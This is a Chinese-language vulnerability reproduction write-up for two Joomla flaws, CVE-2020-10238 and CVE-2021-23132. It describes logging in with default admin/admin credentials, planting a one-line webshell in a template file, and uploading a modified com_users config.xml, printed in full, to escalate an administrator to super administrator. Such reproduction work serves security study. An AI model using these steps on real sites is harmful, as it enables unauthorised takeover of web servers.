Joomla cms是由php+myysql数据库开发的一套内容管理系统,几乎适合从个人网站到各种企业网站、分类信息系统、电商销售类型的各类网站,在国内也有诸多资源提供Joomla免费下载。这里就主要复现下joomal的两个漏洞。
CVE-2020-10238
这个漏洞我复现了一遍后,感觉并不是网上描述的那样“jooml远程控制rce漏洞”,因为这产生的点就是在编辑模板的php文件内中,我认为在php文件中编辑代码,被执行是很正常的事情,而且我试过除了超级管理员能修改php模板文件,其他账号(管理员账号除外)后台都无法登录,如果非要给他按个罪名的话,我觉得应该是没有添加检查用户提交代码的机制吧!
登录首页后,直接在url后添加:/administrator/index.php进入后台登录页面,输入默认密码:admin/admin以超级管理员身份进入joomla的后台
进入模板页面后,你可以自己创建一个模板或者直接用默认的模板都可以,在创建的php文件或默认的php文件中加入一句话代码后保存,然后蚁剑访问该php的路径即可成功上线
美国国家信息安全漏洞库对该漏洞给出的评价也不是简单粗暴的命令执行RCE,而是“缺乏条件控制规则检查”
CVE-2021-23132
该漏洞产生的原因是用户权限分配不合理,让管理员账户可以修改自己的文件上传的目录的路径,不仅导致了可以遍历整个web目录,还让用户可以上传config.xml文件到administrator超级管理员下替换原先的配置的文件,此时的管理员身份可以添加新用户为超级管理员,然后用添加的超级管理员登录,在利用2020-10238中的RCE漏洞进行getshell。 复现该漏洞,首先创建一个管理员账号后登录后再进行如下操作
保存返回后,发现media目录下是遍历了整个web目录。
进入administrator/components/com_users目录下,找到config.xml文件删除,然后上传我们准备好的xml文件。完成后,我们用管理员账号添加一个超级管理员账号,然后以超级管理员账号登录后,利用如上漏洞进行rce! 如下是需上传的xml文件
<?xml version="1.0" encoding="utf-8"?> <config> <fieldset name="user_options" label="COM_USERS_CONFIG_USER_OPTIONS" > <field name="allowUserRegistration" type="radio" label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL" description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field>
<field name="new_usertype" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL" description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC" default="2" checksuperusergroup="0" /> <field name="guest_usergroup" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL" description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC" default="1" checksuperusergroup="0" /> <field name="sendpassword" type="radio" label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL" description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="useractivation" type="list" label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL" description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC" default="0" > <option value="0">JNONE</option> <option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option> <option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option> </field> <field name="mail_to_admin" type="radio" label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL" description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="captcha" type="plugins" label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL" description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC" folder="captcha" filter="cmd" useglobal="true" > <option value="0">JOPTION_DO_NOT_USE</option> </field> <field name="frontend_userparams" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="site_language" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC" class="btn-group btn-group-yesno" default="0" showon="frontend_userparams:1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="change_login_name" type="radio" label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL" description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field>
</fieldset>
<fieldset
name="domain_options"
label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
><field name="domains" type="subform" label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL" description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC" multiple="true" layout="joomla.form.field.subform.repeatable-table" formsource="administrator/components/com_users/models/forms/config_domain.xml" />
</fieldset>
<fieldset
name="password_options"
label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
<field
name="reset_count"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
first="0"
last="20"
step="1"
default="10"
/><field name="reset_time" type="integer" label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC" first="1" last="24" step="1" default="1" /> <field name="minimum_length" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH" description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC" first="4" last="99" step="1" default="4" /> <field name="minimum_integers" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS" description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_symbols" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS" description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_uppercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_lowercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC" first="0" last="98" step="1" default="0" />
</fieldset>
<fieldset
name="user_notes_history"
label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" ><field name="save_history" type="radio" label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL" description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="history_limit" type="number" label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL" description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC" filter="integer" default="5" showon="save_history:1" />
</fieldset>
<fieldset
name="massmail"
label="COM_USERS_MASS_MAIL"
description="COM_USERS_MASS_MAIL_DESC"><field name="mailSubjectPrefix" type="text" label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL" description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC" /> <field name="mailBodySuffix" type="textarea" label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL" description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC" rows="5" cols="30" />
</fieldset>
<fieldset
name="debug"
label="COM_USERS_DEBUG_LABEL"
description="COM_USERS_DEBUG_DESC"><field name="debugUsers" type="radio" label="COM_USERS_DEBUG_USERS_LABEL" description="COM_USERS_DEBUG_USERS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="debugGroups" type="radio" label="COM_USERS_DEBUG_GROUPS_LABEL" description="COM_USERS_DEBUG_GROUPS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field>
</fieldset>
<fieldset name="integration"
label="JGLOBAL_INTEGRATION_LABEL"
description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
><field name="integration_sef" type="note" label="JGLOBAL_SEF_TITLE" /> <field name="sef_advanced" type="radio" class="btn-group btn-group-yesno btn-group-reversed" default="0" label="JGLOBAL_SEF_ADVANCED_LABEL" description="JGLOBAL_SEF_ADVANCED_DESC" filter="integer" > <option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option> <option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option> </field> <field name="integration_customfields" type="note" label="JGLOBAL_FIELDS_TITLE" /> <field name="custom_fields_enable" type="radio" label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL" description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field>
</fieldset>
<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC"
><field name="rules" type="rules" label="JCONFIG_PERMISSIONS_LABEL" filter="rules" validate="rules" component="com_users" section="component" />
</fieldset>
</config>